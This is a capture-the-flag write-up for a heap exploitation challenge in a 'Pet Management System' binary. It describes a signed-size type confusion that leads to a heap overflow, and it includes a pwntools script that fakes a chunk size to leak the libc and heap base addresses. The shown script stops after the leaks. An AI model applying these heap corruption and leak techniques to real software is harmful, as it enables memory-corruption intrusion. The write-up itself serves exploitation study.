Heap challenge is fun from point of puzzle, but unlink mitigation is worth 😢.
Analysis
Following functions were implemented.
add a pet
allocate arbitrary size with following condition
if (bytes s<= 0 || bytes s> 0x54f)
play with pet
show a pet
show pet information:
name: heap <- useful to leak heap chunk
size: bss
age: bss
gender: bss
edit a pet
edit existed pet information
has critical vulnerability
free a pet
free heap chunk, zero filling target pet information.
exit
004020e1 int64_t sub_4020e1()
004020ef puts(str: "==========================================")
004020fe puts(str: "==========Pet Management System===========")
0040210d puts(str: "==========================================")
0040211c puts(str: "1. Add a pet")
0040212b puts(str: "2. Play with pet")
0040213a puts(str: "3. Show a pet")
00402149 puts(str: "4. Edit a pet")
00402158 puts(str: "5. Free a pet")
00402173 return printf(format: ">>> ")
Vulnerability
Critical vulnerability was type-confusion. signed size like -1 passing size validation, however 3rd argument of sub_4014de will be treated as unsigned.
This cause heap-based buffer overflow.
00401f6b int64_t sub_401f6b()
00401f7d puts(str: "Enter pet index to edit: ")
00401f82 int32_t rax = sub_4015d3()
00401f82
00401fad if (rax s< 0 || rax s> 9 || *(sx.q(rax) * 0x58 + &data_405060) == 0)
00401fb9 return puts(str: "invalid index")
00401fb9
00401fca puts(str: "Enter size name to edit: ")
00401fcf int64_t rax_6 = sub_4015d3()
00401fcf
00401ff1 if (rax_6 s> sx.q(*(sx.q(rax) * 0x58 + &data_405068)))
00401ffd return puts(str: "invalid size")
00401ffd
0040200e puts(str: "Enter name to read: ")
00402033 return sub_4014de(0, *(sx.q(rax) * 0x58 + &data_405060), rax_6)
Leak
Heap-based buffer overflow is common, known vulnerability. The known strategy to leak tcache's next addr is falsifying the size and make corrupted heap chunks.
Input system of this application must push '\0' at the end of EOF. So during the competition, I didn't come up with idea to leak something by show a pet function.
Btw, while upsolve this challenge, I came up with idea to leak libc addr.
heap feng-shui
falsify size
free corrupted chunk
alloc 0x100 chunk
now allocate 0x100 chunk.
remember that glibc allocator(malloc) cache system allocate heap from unsorted bins if requested size less than unsorted bins size.
with this allocating, glibc renew unsorted bins' linked-list. this is split allocating in unsorted bins' cache system.
After this heap operation, we can leak unsorted bins' next addr using show a pet function.
Also, we can still the corrupted chunk as an oracle to leak other addr such as safe-linked tcache pointer.
from pwn import *
from icecream import ic
import sys
import re
import inspect
e = ELF("chall",checksec=False)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False)
nc = "nc 127.0.0.1 9999"
if "nc" in nc:
HOST = nc.split(" ")[1]
PORT = int(nc.split(" ")[2])
if "http" in nc:
from urllib.parse import urlparse
HOST = urlparse(nc).hostname
PORT = urlparse(nc).port
dbg = 1
g_script = """
#set max-visualize-chunk-size 0x300
"""
context.binary = e
if len(sys.argv) > 1:
io = remote(host=HOST,port=PORT)
else:
io = e.process()
if dbg:
gdb.attach(io,g_script)
s = lambda b: io.send(b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda b: io.sendline(b)
sln = lambda b: io.sendline(str(b).encode())
sla = lambda a,b: io.sendlineafter(a,b)
r = lambda : io.recv()
ru = lambda b:io.recvuntil(b)
rl = lambda : io.recvline()
pu32= lambda b : u32(b.ljust(4,b"\0"))
pu64= lambda b : u64(b.ljust(8,b"\0"))
fsp = lambda b : f"%{b}$p".encode()
shell = lambda : io.interactive()
def hl(v: int): print(f"[*] {(m := re.search(r'hl\s*\(\s*(.+?)\s*\)', inspect.getframeinfo(inspect.currentframe().f_back).code_context[0].strip())) and m.group(1) or '?'}: {hex(v)}")
payload = b""
def rst():global payload;payload = b"";log.info("***PAYLOAD RESET***")
def pay(*args, **kwargs): global payload; payload += b"".join([a if type(a) == bytes else (a.encode() if type(a) == str else p64(a)) for a in args])
#0x5060
sln(1)
sln(0x20)
sl(b"A"*0x10)
sln(0x810)
sl(b"1")
sl(b"a"*0x10)
sl(b"A"*0x10)
sln(1)
sln(0x100)
sl(b"B"*0x100)
sln(0x810)
sl(b"1")
sl(b"b"*0x10)
sl(b"B"*0x10)
sln(1)
sln(0x300)
sl(b"B"*0x100)
sln(0x810)
sl(b"1")
sl(b"b"*0x10)
sl(b"B"*0x10)
sln(1)
sln(0x20)
sl(b"A"*0x8)
sln(0x810)
sl(b"1")
sl(b"a"*0x10)
sl(b"A"*0x10)
sln(4)
sln(0)
sln(-1)
pay(
b"C"*0x20,
0,
0x421
)
sl(payload)
sln(5)
sln(1)
sln(1)
sln(0x100)
sl(b"D"*0x10)
sln(0x810)
sl(b"1")
sl(b"d"*0x10)
sl(b"D"*0x10)
sln(3)
r()
sln(2)
ru(b"Name: ")
leak = rl().strip()
leak = pu64(leak)
leak = leak << 8
leak += 0x20
hl(leak)
libc.address = leak - (0x000078b35f203b20 -0x000078b35f000000 )
hl(libc.address)
sln(1)
sln(0x100)
sl(b"E"*0x10)
sln(0x810)
sl(b"1")
sl(b"e"*0x10)
sl(b"E"*0x10)
sln(5)
sln(4)
sln(3)
r()
sln(2)
ru(b"Name: ")
leak = rl().strip()
leak = pu64(leak)
hl(leak)
heapBase = leak << 12
hl(heapBase)